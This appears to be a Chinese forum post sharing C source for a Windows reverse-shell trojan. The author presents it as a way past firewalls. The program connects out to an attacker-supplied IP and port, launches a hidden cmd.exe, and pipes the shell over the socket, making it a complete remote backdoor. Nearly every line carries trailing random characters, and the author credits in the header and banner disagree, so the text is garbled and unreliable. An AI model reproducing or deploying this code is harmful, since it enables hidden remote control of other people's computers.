这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6R+EG{`
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/* ============================== WDq~mi
Rebound port in Windows NT qjI.Sr70
By wind,2006/7 {axMS yp;
===============================*/ drK &
#include S^*ME*DDz
#include @w{"6xc%a
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#pragma comment(lib,"wsock32.lib") `=JGlN7
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void OutputShell(); ?fmW'vs
SOCKET sClient; r"\g6<RP
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vD'YLn%Q
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void main(int argc,char **argv) %"g; K
{ 3?:?dy(3z
WSADATA stWsaData; <`WtP+`
int nRet; #8;#)q_[u
SOCKADDR_IN stSaiClient,stSaiServer; WpPI6bd
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if(argc != 3) |+r5D4]e
{ -5TMV#i
{
printf("Useage:\n\rRebound DestIP DestPort\n"); T
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return; AAPfU_:
^
} 2"C,u V@F!
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]#t5e>o|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0D:e P``
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stSaiClient.sin_family = AF_INET; WuUT>omH
stSaiClient.sin_port = htons(0); sad[(|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :Co+haW
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6 Z7J<0
{ VH2/
printf("Bind Socket Failed!\n"); =]<JkWSk
return; L$4nbOu\~
} \bzT=^Z;2
}Asp=<kCc
stSaiServer.sin_family = AF_INET; 5B,HJax
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [>wvVv
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :Yy8Ie#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 19#A7
{ XbMAcgS
printf("Connect Error!"); 8@J5tFJ&%
return; 5_~QS
} rtY4B~_
OutputShell(); bdz&"\$X
} ~u+|NtF
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void OutputShell() |cd=7[B
{ hD!9[Gb
char szBuff[1024]; os~}5QJ
SECURITY_ATTRIBUTES stSecurityAttributes; KM jnY2
OSVERSIONINFO stOsversionInfo; )'Yoii{dSU
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IWD21lS
STARTUPINFO stStartupInfo; %2t#>}If!
char *szShell; 2i_X{!0}
PROCESS_INFORMATION stProcessInformation; vhj^R5=
unsigned long lBytesRead; F\(7B#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k}r)I.Lp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8w]>SEGFs
stSecurityAttributes.lpSecurityDescriptor = 0; g{%2*{;i
stSecurityAttributes.bInheritHandle = TRUE; _rjLCvv-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1?5UVv_F
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1l`$. k
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xFy%&SKHg
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 08JVX'X-mr
stStartupInfo.wShowWindow = SW_HIDE; .vJt&@NO
stStartupInfo.hStdInput = hReadPipe; _z(ydL*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UZ}>@0
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GetVersionEx(&stOsversionInfo); {%Ujp9i
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switch(stOsversionInfo.dwPlatformId) Q1(6U6L
{ Vuu_Sd
case 1: 5xF R7%_&
szShell = "command.com"; 'YUx&FcM
break; sM8 AORd
default: k9iXVYQ.;r
szShell = "cmd.exe"; baL-~`(T
break;
e+=IGYC
} "=r"c$xou
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); OP}8u"\Z
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send(sClient,szMsg,77,0); ;UB$Uqs6
while(1) }4M4D/=
{ C;_*vi2u
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )ls<"WTC.
if(lBytesRead) )TFBb\f>v
{ Q0cr^24/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u]%>=N(^2
send(sClient,szBuff,lBytesRead,0); 'ffOFIz|=I
} fW'U7&O
else ;\gsd'i
{ CWk65tcF
lBytesRead=recv(sClient,szBuff,1024,0); b+`mh
if(lBytesRead<=0) break; >4lT0~V/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _Z|3qQ
} rJ UXA<:2
} ]A2l%V_7
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return; :*wjC.Z
}